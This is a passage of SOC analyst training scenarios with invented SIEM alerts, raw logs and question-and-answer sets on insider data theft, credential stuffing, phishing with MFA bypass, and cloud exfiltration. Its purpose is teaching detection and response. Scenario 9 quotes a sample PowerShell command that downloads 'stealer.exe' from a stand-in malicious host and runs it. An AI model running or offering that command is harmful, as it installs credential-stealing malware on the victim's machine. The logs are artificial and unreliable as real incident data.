Severity: Critical
Triggered Events:

- Unusual RDP login detected after work hours.
- File transfer detected to an external IP over RDP.
- User accessed sensitive financial records.
  Reason: Combination of off-hours login, external RDP and sensitive file access indicates possible insider data theft.

4. File Access Monitoring Alert - High Volume of File Reads

Severity: High
User: izzmier@company.com
Files Accessed:

- Q1-Financial-Report.xlsx
- Client-Invoices-2025.pdf
- Revenue-Projections.docx
  Reason: User accessed and copied a large number of financial documents just before establishing an RDP session.

5. Network Traffic Anomaly Alert - Unusual Data Transfer Over RDP

Severity: Critical
Source: 192.168.2.200
Destination: 45.77.89.32
Data Transferred: 850MB in 5 minutes
Reason: Large outbound data transfer via RDP is uncommon and suggests potential data theft.

Raw Logs

Log 1: Unusual RDP Login Outside of Work Hours

2025-03-05 22:14:33, User: izzmier@company.com, Source: FINANCE-WS-07, Destination: 192.168.2.200, Event: Successful RDP Login

Log 2: External RDP Connection to Unapproved IP

2025-03-05 22:30:12, Source: 192.168.2.200, Destination: 45.77.89.32, Protocol: TCP 3389, Connection Status: Established

Log 3: Large File Access Just Before RDP Connection

2025-03-05 22:20:45, User: izzmier@company.com, File: Q1-Financial-Report.xlsx, Event: File Accessed
2025-03-05 22:21:10, User: izzmier@company.com, File: Client-Invoices-2025.pdf, Event: File Accessed

Log 4: Data Transfer Over RDP (Network Traffic Monitoring)

2025-03-05 22:35:00, Source: 192.168.2.200, Destination: 45.77.89.32, Data Transferred: 850MB

QUESTIONS

1. **What indicators suggest that this is an insider threat case?**
2. **Why is the timing of the RDP login suspicious?**
3. **Why is RDP a high-risk protocol for insider threats?**
4. **What is the significance of the file access logs?**
5. **How can SIEM correlation rules detect data exfiltration via RDP?**
6. **What immediate actions should the SOC team take?**
7. **What security measures can prevent future insider threats?**
8. **How can the company monitor for unauthorised file access?**
9. **How should forensic analysis be conducted in this case?**
10. **What legal and HR steps should the company take if the employee is confirmed as a data thief?**

ANSWERS

1. **Indicators of Insider Threat:**
    - Off-hours login from an employee's workstation.
    - Access to sensitive financial files just before making an external RDP connection.
    - Unusual outbound data transfer.
2. **Suspicious Timing:**
    - The employee logged in after work hours (22:14), when financial staff do not typically work.
3. **RDP as a High-Risk Protocol:**
    - RDP allows direct access to systems and can be used to transfer files.
    - Attackers often use RDP to move laterally or exfiltrate data.
4. **Significance of File Access Logs:**
    - The employee accessed highly sensitive financial documents just before initiating the RDP session.
    - This suggests data theft rather than normal work activity.
5. **SIEM Correlation Rules for RDP Data Exfiltration:**
    - Unusual login time + RDP session + file access + large data transfer = High-risk alert.
6. **Immediate SOC Response Actions:**
    - Terminate RDP session.
    - Isolate employee's workstation.
    - Block outbound traffic to 45.77.89.32.
    - Check for other compromised accounts.
7. **Preventing Insider Threats:**
    - Monitor for off-hours activity.
    - Restrict external RDP access.
    - Enable Data Loss Prevention (DLP) solutions.
8. **Monitoring Unauthorised File Access:**

    - Use file integrity monitoring (FIM) to detect unauthorised access.
    - Implement role-based access control (RBAC).
9. **Forensic Analysis Steps:**
    - Review endpoint logs for suspicious processes.
    - Check for additional data transfers.
    - Analyse network packets for encrypted data exfiltration.
10. **Legal and HR Actions:**

- Conduct an internal HR investigation.
- If confirmed, take legal action for data theft.
- Notify relevant authorities if necessary.

SCENARIO 8: CREDENTIAL STUFFING ATTACK ON A CLOUD-BASED APPLICATION

Background: A company's customer portal, hosted on AWS, is experiencing a sudden spike in failed login attempts. Threat intelligence sources indicate that a new password dump from a recent breach is circulating on the dark web. Attackers are suspected of using credential stuffing to access accounts. The SOC team must investigate and mitigate the attack before accounts are compromised.

SIEM Alerts

1. Web Application Firewall (WAF) Alert - Multiple Failed Logins

Severity: High
Source IPs:

- 103.224.34.76 (Vietnam)
- 185.199.110.25 (Russia)
- 204.145.78.11 (USA)
  Target URL: https://customerportal.company.com/login
  Failed Attempts: 12,378 in 1 hour
  Reason: High volume of failed logins suggests an automated credential stuffing attack.

2. IAM Alert - Multiple Logins from Different Locations for Same Account

Severity: Critical
User Account: izzmier@company.com
Login Attempts:

- 2025-03-06 10:12:43 - Success (Kuala Lumpur, Malaysia)
- 2025-03-06 10:14:55 - Failed (Berlin, Germany)
- 2025-03-06 10:15:23 - Failed (Toronto, Canada)
- 2025-03-06 10:16:12 - Success (Singapore)
  Reason: Impossible travel anomaly detected (logins from geographically distant locations within minutes).

3. SIEM Correlation Rule - Excessive Failed Logins & Anomalous Login Success

Severity: Critical
Triggered Events:

- 1000+ failed login attempts per minute from multiple countries.
- Successful logins from unusual locations for legitimate accounts.

- Brute force attempts detected against high-profile users.
  Reason: Credential stuffing attack with partial success.

4. Threat Intelligence Alert - Dark Web Credential Leak

Severity: High
Source: Dark Web Monitoring Service
Leaked Credentials: izzmier@company.com, izzmier@company.com, izzmier@company.com
Breach Source: Recent XYZ Service Data Breach (Feb 2025)
Reason: Compromised credentials found in a recent breach.

5. AWS CloudTrail Alert - Suspicious API Calls

Severity: Medium
User: izzmier@company.com
Activity:

- ListUserPermissions
- GetAccountDetails
- ModifySecurityGroups
  Reason: New API calls from a user who doesn't normally access these services.

Raw Logs

Log 1: Web Application Firewall - High Volume of Failed Logins

2025-03-06 10:12:10, Source IP: 103.224.34.76, User: izzmier@company.com, Event: Failed Login
2025-03-06 10:12:12, Source IP: 185.199.110.25, User: izzmier@company.com, Event: Failed Login
2025-03-06 10:12:14, Source IP: 204.145.78.11, User: izzmier@company.com, Event: Failed Login

Log 2: IAM Alert - Impossible Travel Login

2025-03-06 10:12:43, User: izzmier@company.com, Location: Kuala Lumpur, Malaysia, Event: Successful Login
2025-03-06 10:14:55, User: izzmier@company.com, Location: Berlin, Germany, Event: Failed Login
2025-03-06 10:16:12, User: izzmier@company.com, Location: Singapore, Event: Successful Login

Log 3: Threat Intelligence - Leaked Credentials

2025-03-06 10:00:00, Source: Dark Web Monitoring, Compromised Account: izzmier@company.com, Breach: XYZ Service Data Leak

Log 4: AWS CloudTrail - Suspicious API Calls

2025-03-06 10:17:22, User: izzmier@company.com, API: ListUserPermissions
2025-03-06 10:18:45, User: izzmier@company.com, API: GetAccountDetails

QUESTIONS

1. **What are the key indicators of a credential stuffing attack in this scenario?**
2. **Why is "impossible travel" a strong indicator of account compromise?**
3. **How does a credential stuffing attack differ from a brute-force attack?**
4. **What does the success of some logins indicate?**
5. **Why is the API activity from izzmier@company.com suspicious?**
6. **What immediate steps should the SOC team take?**
7. **What long-term measures can prevent credential stuffing attacks?**
8. **How can dark web monitoring help in defending against credential stuffing?**
9. **How should the company inform affected users?**
10. **What legal and compliance steps should be taken in response to this incident?**

ANSWERS

1. **Key Indicators of Credential Stuffing:**
    - Massive failed login attempts from multiple locations/IPs.
    - Some successful logins from unexpected places.
    - Known leaked credentials being used.
2. **Impossible Travel as an Indicator:**
    - A user cannot physically log in from different countries within minutes.
    - This suggests an attacker successfully used stolen credentials.
3. **Credential Stuffing vs. Brute-Force:**
    - Credential stuffing: Uses previously leaked usernames and passwords.
    - Brute-force: Attempts to guess passwords using random inputs.
4. **Why Some Logins Succeeded:**
    - Some users may have reused passwords from breached databases.
    - If a password hasn't been changed since a breach, attackers can log in.
5. **Suspicious API Activity:**
    - izzmier@company.com accessed AWS account settings, which they don't usually use.
    - Attackers often explore privileges after gaining access.
6. **Immediate SOC Response:**
    - Block suspicious IPs.
    - Force password resets for compromised accounts.
    - Implement multi-factor authentication (MFA).

7. **Long-Term Prevention Measures:**
    - Enable MFA for all accounts.
    - Use CAPTCHA to block bots.
    - Deploy bot protection services (e.g., Cloudflare, Akamai).
8. **Dark Web Monitoring Benefits:**
    - Detect leaked credentials before they're used in attacks.
    - Warn users to change passwords proactively.
9. **Informing Affected Users:**
    - Send urgent alerts and force password resets.
    - Educate users on password hygiene and MFA.
10. **Legal & Compliance Steps:**

- Notify regulatory bodies if personal data is impacted.
- Update incident response reports.
- Monitor for further breaches.

SCENARIO 9: DATA EXFILTRATION VIA COMPROMISED INSIDER ACCOUNT

Background: A senior finance employee's account (izzmier@company.com) has triggered multiple unusual file access and data transfer alerts. The SOC team suspects either an insider threat or an external compromise. The company stores sensitive financial documents on an internal SharePoint server and cloud storage (Google Drive).

SIEM Alerts

1. DLP (Data Loss Prevention) Alert - Large Data Download from SharePoint

Severity: Critical
User: izzmier@company.com
Source: Internal SharePoint Server
Files Downloaded:

- financial_report_Q1.xlsx
- customer_PII_records.csv
- salary_structure_2025.pdf
  Total Data Size: 8.7GB
  Reason: User accessed and downloaded large amounts of sensitive data, exceeding normal usage patterns.

2. Cloud Security Alert - Unusual Google Drive Upload

Severity: High
User: izzmier@company.com
Source: Company Laptop (Internal Network)
Destination: Personal Google Drive (izzmier@gmail.com)
Files Uploaded: Same files from SharePoint
Total Data Transferred: 8.7GB
Reason: User uploaded sensitive company documents to an unauthorised personal cloud storage account.

3. SIEM Correlation Rule - Unusual Activity on a High-Privilege Account

Severity: Critical
Triggered Events:

- High-volume data transfer from internal SharePoint.
- First-time upload to a personal Google Drive account.
- Logins from multiple locations within short intervals.
  Reason: Suspicious data movement indicating potential data theft.

4. Identity & Access Management (IAM) Alert - Impossible Travel

Severity: Medium
User: izzmier@company.com
Login Attempts:

- 2025-03-06 09:12:43 - Success (Kuala Lumpur, Malaysia)
- 2025-03-06 09:14:30 - Success (Singapore)
- 2025-03-06 09:16:15 - Success (Los Angeles, USA)
  Reason: User cannot physically log in from these locations within minutes. Possible session hijacking or account compromise.

5. Threat Intelligence Alert - User's Credentials Found on Dark Web

Severity: High
Source: Dark Web Monitoring Service
Leaked Credentials: izzmier@company.com
Breach Source: Compromised in a past LinkedIn data breach (February 2025)
Reason: The user's credentials have been leaked and may have been used in an attack.

6. EDR (Endpoint Detection & Response) Alert - Unusual PowerShell Script Execution

Severity: High
User: izzmier@company.com
Script Executed:

```
Invoke-WebRequest -Uri "http://malicious-site.com/stealer.exe" -OutFile
"C:\Users\IzzmierDoe\stealer.exe"
Start-Process "C:\Users\IzzmierDoe\stealer.exe"
```

Reason: The user ran a PowerShell script to download and execute an unknown executable from an external source.

Raw Logs

Log 1: DLP Alert - Suspicious File Transfers

2025-03-06 09:10:30, User: izzmier@company.com, Source: SharePoint, Event: Large File Download, File: financial_report_Q1.xlsx, Size: 2.3GB
2025-03-06 09:11:10, User: izzmier@company.com, Source: SharePoint, Event: Large File Download, File: customer_PII_records.csv, Size: 3.5GB
2025-03-06 09:12:45, User: izzmier@company.com, Source: SharePoint, Event: Large File Download, File: salary_structure_2025.pdf, Size: 2.9GB

Log 2: Cloud Security Alert - Unauthorised Upload to Google Drive

2025-03-06 09:15:30, User: izzmier@company.com, Destination: Google Drive (izzmier@gmail.com), File: financial_report_Q1.xlsx, Status: Uploaded
2025-03-06 09:16:10, User: izzmier@company.com, Destination: Google Drive (izzmier@gmail.com), File: customer_PII_records.csv, Status: Uploaded

Log 3: Impossible Travel Login Events

2025-03-06 09:12:43, User: izzmier@company.com, Location: Kuala Lumpur, Malaysia, Event: Successful Login
2025-03-06 09:14:30, User: izzmier@company.com, Location: Singapore, Event: Successful Login
2025-03-06 09:16:15, User: izzmier@company.com, Location: Los Angeles, USA, Event: Successful Login

Log 4: EDR Alert - Malicious Script Execution

2025-03-06 09:18:50, User: izzmier@company.com, Event: PowerShell Execution, Script: Invoke-WebRequest -Uri "http://malicious-site.com/stealer.exe"

QUESTIONS

1. **What are the signs that this is a data exfiltration attempt?**
2. **How does the impossible travel login indicate potential compromise?**
3. **What does the PowerShell execution suggest about this case?**
4. **What are the possible ways the attacker gained access to this account?**
5. **How should the SOC team confirm if this is an insider threat or external compromise?**
6. **What immediate mitigation steps should be taken?**
7. **How can companies prevent employees from uploading sensitive data to personal cloud accounts?**
8. **What role does Dark Web Monitoring play in this case?**
9. **What forensic steps should be taken to investigate further?**
10. **What long-term security policies should be implemented to prevent future incidents?**

ANSWERS

1. **Signs of Data Exfiltration:**
    - Large downloads of sensitive files from SharePoint.
    - Uploading those files to a personal Google Drive.
    - Unusual login behaviour (impossible travel).
2. **Impossible Travel as an Indicator:**

    - The user cannot physically log in from different countries within minutes.
    - This suggests session hijacking or compromised credentials.
3. **PowerShell Execution Analysis:**
    - The script downloads and executes a potential malware or data stealer.
    - Indicates possible compromise or malicious insider activity.
4. **Possible Attack Vectors:**
    - Leaked credentials on the Dark Web.
    - Phishing attack leading to credential theft.
    - Insider using their own credentials for exfiltration.
5. **Confirming Insider vs. External Threat:**
    - Check past behaviour of the employee.
    - Review device for malware infections.
    - Analyse if data transfer aligns with normal work tasks.
6. **Immediate Mitigation Steps:**
    - Disable the account immediately.
    - Block unauthorised cloud uploads.
    - Investigate endpoint activity for malware.
7. **Preventing Personal Cloud Uploads:**
    - Enforce DLP policies blocking uploads to unauthorised accounts.
    - Implement CASB (Cloud Access Security Broker) controls.
8. **Dark Web Monitoring Benefits:**
    - Detects leaked credentials early.
    - Allows companies to proactively force password resets.
9. **Forensic Investigation Steps:**
    - Collect and analyse system logs, endpoint activity and network traffic.
    - Check if any other accounts were accessed.
10. **Long-Term Security Policies:**

- Implement MFA for all users.
- Educate employees about phishing and credential security.
- Strengthen DLP policies to prevent unauthorised file transfers.

SCENARIO 10: PHISHING ATTACK LEADING TO MFA BYPASS & PRIVILEGE ESCALATION

Background: A senior HR manager's email account (izzmier@company.com) has been flagged for suspicious activities following a reported phishing attack. The company's Active Directory and payroll systems have also detected unusual account changes.

SIEM Alerts

1. Email Security Alert - Phishing Email Clicked

Severity: High
User: izzmier@company.com
Email Subject: URGENT: Payroll Error - Action Required
Sender: finance-dept@companymail.support (Spoofed Domain)
Malicious Link Clicked: http://fake-company-login.com
Reason: User clicked a phishing link and entered credentials.

2. MFA Bypass Alert - Session Hijacking Detected

Severity: Critical
User: izzmier@company.com
Login Event:

- 2025-03-06 10:05:12 - Successful Login (Kuala Lumpur, Malaysia)
- 2025-03-06 10:07:30 - Successful Login (Jakarta, Indonesia) – MFA Skipped
  Reason: Session cookie theft detected – attacker reused an authenticated session.

3. Active Directory Alert - Privilege Escalation

Severity: Critical
User: izzmier@company.com
Event: Added "izzmier" to "Domain Admins" group
Time: 10:12:45 AM
Reason: User granted admin rights to themselves – suspicious privilege escalation.

4. IAM Alert - New Admin Account Created

Severity: Critical
Admin Account Created: sysadmin_backup
Created By: izzmier@company.com
Privileges: Full Domain Admin
Reason: Possible persistence mechanism for backdoor access.

5. Firewall Alert - Unusual RDP Connection from External IP

Severity: High
Source IP: 202.89.44.56 (Jakarta, Indonesia)
Destination: Internal HR Server
Protocol: RDP (Port 3389)
Reason: External RDP session detected from an untrusted country.

6. SIEM Correlation Rule - Suspicious Account Activity

Severity: Critical
Triggered Events:

- Phishing link clicked.
- MFA bypassed via session hijacking.
- Privilege escalation to Domain Admin.
- New admin account created.
- External RDP connection to an HR server.

Raw Logs

Log 1: Phishing Click Detected

2025-03-06 10:04:58, User: izzmier@company.com, Event: Phishing Link Clicked, URL: http://fake-company-login.com
2025-03-06 10:05:10, User: izzmier@company.com, Event: Credentials Entered, Target: Fake Login Page

Log 2: MFA Bypass via Session Hijacking

2025-03-06 10:05:12, User: izzmier@company.com, Location: Kuala Lumpur, Malaysia, Event: Successful Login, MFA Status: Passed
2025-03-06 10:07:30, User: izzmier@company.com, Location: Jakarta, Indonesia, Event: Successful Login, MFA Status: Not Prompted

Log 3: Privilege Escalation & New Admin Account Creation

2025-03-06 10:12:45, User: izzmier@company.com, Event: Added to "Domain Admins" Group
2025-03-06 10:15:00, User: izzmier@company.com, Event: Created New Admin Account "sysadmin_backup"

Log 4: External RDP Connection

2025-03-06 10:18:30, User: sysadmin_backup, Source IP: 202.89.44.56, Destination: HR Server, Protocol: RDP

QUESTIONS

1. **What was the initial attack vector?**
2. **How did the attacker bypass MFA?**
3. **What does the privilege escalation event indicate?**
4. **Why did the attacker create the "sysadmin_backup" account?**
5. **What risks does the external RDP connection pose?**
6. **What immediate mitigation steps should the SOC team take?**
7. **How can companies prevent session hijacking attacks?**
8. **What forensic analysis should be performed on Izzmier's device?**
9. **How can organisations detect and prevent privilege escalation?**
10. **What security policies should be enforced to prevent future incidents?**

ANSWERS

1. **Initial Attack Vector:**
    - Phishing email tricked the victim into entering credentials on a fake website.
2. **MFA Bypass Mechanism:**
    - The attacker stole the session cookie from the phishing page and reused it.
    - This allowed login without triggering MFA again.
3. **Privilege Escalation Significance:**
    - Indicates an attacker taking full control over company systems.
4. **Reason for Creating "sysadmin_backup":**
    - Persistence mechanism to retain access even if Izzmier's password is reset.
5. **Risks of External RDP Connection:**
    - Remote access to sensitive HR data.
    - Potential for lateral movement to other systems.
6. **Immediate SOC Response:**
    - Disable the compromised account.
    - Remove "izzmier" from Domain Admins.
    - Delete "sysadmin_backup" account.
    - Block the attacker's IP.
7. **Preventing Session Hijacking:**
    - Use MFA for every session, not just initial login.
    - Implement short session timeouts.
    - Enable browser fingerprinting for logins.
8. **Forensic Analysis on Izzmier's Device:**
    - Check browser history for phishing sites.
    - Inspect cookies for session hijacking evidence.
    - Run EDR scans for malware.
9. **Detecting Privilege Escalation:**

- Monitor real-time changes to admin groups.
- Use SIEM correlation rules for unusual account privilege changes.

10. Security Policies to Prevent Future Attacks:

- Enforce phishing awareness training.
- Implement conditional access rules (deny logins from untrusted locations).
- Use identity protection tools to detect risky logins.

SCENARIO 11: INSIDER THREAT - DATA EXFILTRATION VIA CLOUD STORAGE

Background: A system administrator (izzmier@company.com) has been flagged for suspicious activity after security logs detected a large volume of sensitive files being uploaded to an external cloud storage service.

SIEM Alerts

1. DLP Alert - Large File Transfer to External Cloud Storage

Severity: High
User: izzmier@company.com
Destination: https://fileshare-mega.io
File Size: 2.3GB
File Type: Company Financial Reports (.xlsx, .pdf)
Reason: Sensitive data exfiltration detected.

2. Proxy & Firewall Alert - Unusual High Bandwidth Usage

Severity: Medium
User: izzmier@company.com
Source IP: 192.168.1.45 (Corporate Laptop)
Destination: https://fileshare-mega.io
Data Transferred: 2.3GB within 5 minutes
Reason: Unusual outbound data transfer exceeding company policies.

3. Endpoint Security Alert - USB Block Attempted

Severity: Medium
User: izzmier@company.com
Event: Blocked attempt to copy files to USB Drive
Reason: User tried copying sensitive files to USB but was blocked by security policies.

4. IAM Alert - Unauthorised Cloud Storage Access

Severity: Critical
User: izzmier@company.com
Event: Logged into personal cloud storage account using work device
Time: 2025-03-06 14:22:10
Reason: Potential policy violation and data exfiltration attempt.

5. SIEM Correlation Rule - Possible Insider Threat Detected

Severity: Critical
Triggered Events:

- Unusual cloud storage access from corporate device.
- High-volume data transfer to external storage.
- Blocked attempt to use USB for data exfiltration.
- User has privileged access rights, increasing risk.

Raw Logs

Log 1: Large Data Upload to Cloud Storage

2025-03-06 14:21:35, User: izzmier@company.com, Action: Upload, Destination: https://fileshare-mega.io, File: financial_reports_Q1.pdf, Size: 1.2GB
2025-03-06 14:21:55, User: izzmier@company.com, Action: Upload, Destination: https://fileshare-mega.io, File: financial_reports_Q2.xlsx, Size: 1.1GB

Log 2: Proxy & Firewall Log - High Bandwidth Usage

2025-03-06 14:22:05, User: izzmier@company.com, IP: 192.168.1.45, Destination: https://fileshare-mega.io, Data_Transferred: 2.3GB

Log 3: USB Block Attempt Log

2025-03-06 14:15:20, User: izzmier@company.com, Action: USB Write Attempt, Device: Kingston_64GB, Status: Blocked

Log 4: IAM Log - Unauthorised Cloud Storage Login

2025-03-06 14:22:10, User: izzmier@company.com, Event: Logged into personal cloud storage, Account: izzmierpersonal@gmail.com

QUESTIONS

1. **What are the key indicators of an insider threat in this case?**
2. **Why is the firewall alert significant?**
3. **What does the blocked USB attempt suggest?**
4. **How does IAM alerting help detect policy violations?**
5. **What are the security risks of employees using personal cloud storage?**
6. **What immediate actions should SOC analysts take?**
7. **How can data loss prevention (DLP) be improved?**
8. **What legal actions could the company take against the employee?**
9. **What measures can prevent insider threats like this?**
10. **How should security awareness training be adapted to address such risks?**

ANSWERS

1. **Key Indicators of Insider Threat:**
    - Unusual data transfers.
    - Use of external cloud storage.
    - Blocked USB attempt.
    - Accessing personal accounts from a work device.
2. **Significance of Firewall Alert:**
    - Shows unauthorised outbound traffic that could indicate data theft.
3. **Blocked USB Attempt Significance:**
    - Indicates an earlier failed attempt to exfiltrate data via a different method.
4. **How IAM Alerts Help:**
    - Detect unauthorised access to personal accounts on corporate devices.
5. **Risks of Personal Cloud Storage:**
    - No company control over uploaded data.
    - Potential for data leaks or unauthorised sharing.
6. **Immediate SOC Actions:**
    - Disable the user's account.
    - Block access to personal cloud services.
    - Investigate other file transfer logs.
7. **Improving DLP:**
    - Stricter policies on cloud storage access.
    - Real-time alerts for abnormal file transfers.
8. **Legal Actions:**
    - Investigate contractual violations.
    - Report to law enforcement if classified data is involved.
9. **Preventing Insider Threats:**
    - Strict privilege access control.
    - Audit user activity logs regularly.
10. **Security Awareness Training Improvements:**

- Educate employees on data handling policies.
- Teach early detection of insider threats.

SCENARIO 12: CREDENTIAL STUFFING ATTACK AGAINST A COMPANY WEB PORTAL

Background: A threat actor is attempting a credential stuffing attack against an employee login portal (https://login.company.com). Security logs indicate a high volume of failed login attempts originating from multiple IP addresses, followed by a successful login using an employee's credentials.

SIEM Alerts

1. Web Application Firewall (WAF) Alert - High Login Failures

Severity: Medium
Source IPs: Multiple (including 198.51.100.23, 203.0.113.45, 192.0.2.67)
Destination: https://login.company.com
Failed Login Attempts: 5,673 attempts within 10 minutes
Reason: Unusual volume of failed login attempts detected. Possible credential stuffing attack.

2. Threat Intelligence Alert - Malicious IPs Detected

Severity: High
Source IP: 198.51.100.23
Reputation: Known for brute-force attacks and credential stuffing (Threat Intelligence Feed).
Reason: IP flagged for past involvement in cyberattacks.

3. SIEM Alert - Multiple Logins from Different Locations

Severity: High
User: izzmier@company.com
Successful Login Location 1: Malaysia (IP: 203.0.113.12, Timestamp: 2025-03-06 10:45:30)
Successful Login Location 2: Russia (IP: 45.76.98.210, Timestamp: 2025-03-06 10:46:00)
Reason: Possible account compromise due to simultaneous logins from different geolocations within seconds.

4. Endpoint Security Alert - Suspicious Browser Activity

Severity: Critical
User: izzmier@company.com
Event: Browser session hijacked after login from unrecognised IP.
Reason: Possible credential compromise leading to session takeover.

5. SIEM Correlation Rule - Possible Credential Compromise

Severity: Critical
Triggered Events:

- High volume of failed logins (WAF Alert).
- Successful login from a flagged malicious IP.
- Simultaneous logins from different countries.
- Suspicious browser activity post-login.

Raw Logs

Log 1: Failed Login Attempts (WAF Log)

2025-03-06 10:43:10, IP: 198.51.100.23, Username: izzmier@company.com, Status: Failed Login
2025-03-06 10:43:11, IP: 203.0.113.45, Username: izzmier@company.com, Status: Failed Login
2025-03-06 10:43:12, IP: 192.0.2.67, Username: izzmier@company.com, Status: Failed Login
...
2025-03-06 10:45:28, IP: 203.0.113.12, Username: izzmier@company.com, Status: Successful Login

Log 2: Threat Intelligence Log (Malicious IP)

2025-03-06 10:43:15, IP: 198.51.100.23, Reputation: HIGH-RISK, Reason: Credential stuffing attack, Action: Blocked by Threat Intelligence Feed

Log 3: Successful Logins from Different Locations (SIEM Log)

2025-03-06 10:45:30, User: izzmier@company.com, IP: 203.0.113.12 (Malaysia), Status: Successful Login
2025-03-06 10:46:00, User: izzmier@company.com, IP: 45.76.98.210 (Russia), Status: Successful Login

Log 4: Endpoint Security Alert (Browser Session Hijack)

2025-03-06 10:46:05, User: izzmier@company.com, Browser: Chrome, Event: Session Hijack Detected, Status: Alert Raised

QUESTIONS

1. **What is credential stuffing and how does it work?**

2. **What key indicators suggest this is a credential stuffing attack?**
3. **Why is the Threat Intelligence alert important in this scenario?**
4. **How does SIEM correlation help detect account compromise?**
5. **What security risks are associated with simultaneous logins from different geolocations?**
6. **What immediate mitigation steps should be taken?**
7. **How can multi-factor authentication (MFA) help prevent credential stuffing?**
8. **What long-term security improvements can be implemented to prevent such attacks?**
9. **Why should companies regularly monitor dark web credential leaks?**
10. **What security policies should be enforced to detect and prevent credential stuffing?**

ANSWERS

1. **What is Credential Stuffing?**
    - Attackers use leaked username-password pairs from data breaches to automate login attempts on different sites.
2. **Key Indicators of Credential Stuffing:**
    - High volume of failed logins from different IPs.
    - Successful login after multiple failures.
    - Use of known malicious IP addresses.
3. **Importance of Threat Intelligence Alert:**
    - Detects and blocks traffic from high-risk IPs associated with cyberattacks.
4. **How SIEM Correlation Helps:**
    - Links multiple alerts (failed logins, geolocation mismatches, session hijacking) to detect an ongoing attack.
5. **Risks of Simultaneous Logins from Different Locations:**
    - Indicates account takeover or unauthorised session sharing.
6. **Immediate Mitigation Steps:**
    - Force password reset for compromised accounts.
    - Block malicious IPs.
    - Enable multi-factor authentication (MFA).
7. **How MFA Prevents Credential Stuffing:**
    - Even if credentials are stolen, attackers cannot bypass a second authentication factor.
8. **Long-Term Security Improvements:**
    - Implement rate-limiting on login attempts.
    - Use CAPTCHA challenges after multiple failed logins.
9. **Monitoring Dark Web for Leaked Credentials:**
    - Allows early detection of compromised passwords before attackers exploit them.
10. **Security Policies to Prevent Credential Stuffing:**

- Enforce strong, unique passwords.
- Use adaptive authentication based on login behaviour.

SCENARIO 13: INSIDER THREAT – EMPLOYEE EXFILTRATING SENSITIVE DATA

Background: A trusted employee working in the finance department has been flagged for suspicious activity. The SOC team detected large-scale file transfers from a corporate file server to an external cloud storage service.

SIEM Alerts

1. Data Loss Prevention (DLP) Alert – Large File Transfer to External Cloud

Severity: High
User: Izzmier@company.com
File Type: .xlsx, .csv, .pdf
Total Data Transferred: 3.8GB
Destination: Google Drive (drive.google.com)
Reason: Unusual large-scale file transfer detected.

2. SIEM Alert – Unusual Login Time and Data Access

Severity: High
User: Izzmier@company.com
Login Time: 2025-03-06 02:15:40 (Outside Business Hours)
Accessed Files:

- Q1-Financial-Report.xlsx
- Employee-Salary-2025.csv
- Company-Investment-Plan.pdf
  Reason: Suspicious file access outside normal working hours.

3. Network IDS Alert – Data Transfer Over Non-Standard Port

Severity: Critical
Source: 10.0.1.25 (Izzmier's Workstation)
Destination: 45.33.21.89 (Unregistered Cloud Storage Server)
Protocol: TCP Port 4443 (Non-Standard HTTPS)
Data Sent: 1.2GB in 5 minutes
Reason: Possible data exfiltration to an unknown external server.

4. Endpoint Security Alert – USB Device Connected

Severity: Medium
User: Izzmier@company.com
Device: SanDisk Ultra USB 128GB

Files Copied: 230 files (total 2.6GB)
Reason: High volume of sensitive files copied to a removable USB device.

5. SIEM Correlation Rule – Potential Data Exfiltration

Severity: Critical
Triggered Events:

- Large file transfer to Google Drive (DLP Alert).
- Suspicious file access outside business hours.
- Data sent over non-standard port.
- Files copied to USB.

Raw Logs

Log 1: DLP Alert - Large File Upload to Google Drive

2025-03-06 02:35:12, User: Izzmier@company.com, Destination: drive.google.com, File: Q1-Financial-Report.xlsx, Size: 25MB, Status: Uploaded
2025-03-06 02:35:25, User: Izzmier@company.com, Destination: drive.google.com, File: Employee-Salary-2025.csv, Size: 5MB, Status: Uploaded
2025-03-06 02:36:02, User: Izzmier@company.com, Destination: drive.google.com, File: Company-Investment-Plan.pdf, Size: 50MB, Status: Uploaded
...
2025-03-06 02:50:45, User: Izzmier@company.com, Destination: drive.google.com, Total Data Transferred: 3.8GB

Log 2: Unusual Login & File Access (SIEM Log)

2025-03-06 02:15:40, User: Izzmier@company.com, IP: 10.0.1.25, Action: Login Successful, Location: Office VPN
2025-03-06 02:17:50, User: Izzmier@company.com, File Accessed: Q1-Financial-Report.xlsx
2025-03-06 02:19:15, User: Izzmier@company.com, File Accessed: Employee-Salary-2025.csv
2025-03-06 02:20:30, User: Izzmier@company.com, File Accessed: Company-Investment-Plan.pdf

Log 3: Network IDS Alert - Data Exfiltration via Non-Standard Port

2025-03-06 02:40:12, Source: 10.0.1.25, Destination: 45.33.21.89, Protocol: TCP 4443, Data Transferred: 1.2GB, Status: Allowed

Log 4: USB Device Copy Event (Endpoint Security Log)

2025-03-06 02:45:00, User: Izzmier@company.com, Device: SanDisk Ultra USB 128GB, Files Copied: 230, Total Size: 2.6GB, Status: Success

QUESTIONS

1. **What is an insider threat and why is it dangerous?**
2. **What are the key indicators of insider data exfiltration in this scenario?**
3. **How does the combination of alerts help detect potential data leaks?**
4. **Why is non-standard port usage a red flag for security teams?**
5. **What immediate mitigation steps should be taken?**
6. **How can a company prevent employees from copying sensitive files to USB devices?**
7. **What security policies can help prevent insider threats?**
8. **Why should companies implement User and Entity Behavior Analytics (UEBA)?**
9. **How can Data Loss Prevention (DLP) solutions help mitigate insider threats?**
10. **What role does HR play in preventing and managing insider threats?**

ANSWERS

1. **What is an Insider Threat?**
    - A trusted employee, contractor, or business partner misusing their legitimate access to steal, leak, or misuse sensitive company data.
2. **Key Indicators of Insider Data Exfiltration:**
    - Large file uploads to external cloud storage.
    - Unusual login times and unauthorised file access.
    - Use of non-standard network ports for data transfer.
    - Copying large amounts of data to a USB device.
3. **How Alerts Correlate to Detect Data Leaks:**
    - Single alerts may not always indicate a breach, but when correlated, they form a clear picture of an insider attempting to steal company data.
4. **Why is Non-Standard Port Usage Suspicious?**
    - Ports like 4443 are rarely used for normal business operations, making them an ideal choice for data exfiltration by attackers.
5. **Immediate Mitigation Steps:**
    - Block the user's access immediately.
    - Investigate and revoke external storage access.
    - Examine logs to confirm what data was leaked.
6. **Preventing USB Data Transfers:**
    - Enforce group policies to disable USB ports.
    - Implement DLP rules to block file copies to removable storage.
7. **Security Policies to Prevent Insider Threats:**
    - Least privilege access for sensitive data.
    - Continuous monitoring of file transfers and access logs.
8. **Importance of UEBA (User and Entity Behavior Analytics):**

- Detects anomalies in user behaviour, such as accessing sensitive data at odd hours or transferring unusual amounts of data.

9. **How DLP Solutions Help:**
    - Prevent sensitive data from leaving the company network through policy-based rules.
10. **Role of HR in Insider Threat Prevention:**

- Conduct regular employee background checks.
- Implement strict exit procedures when employees leave the company.

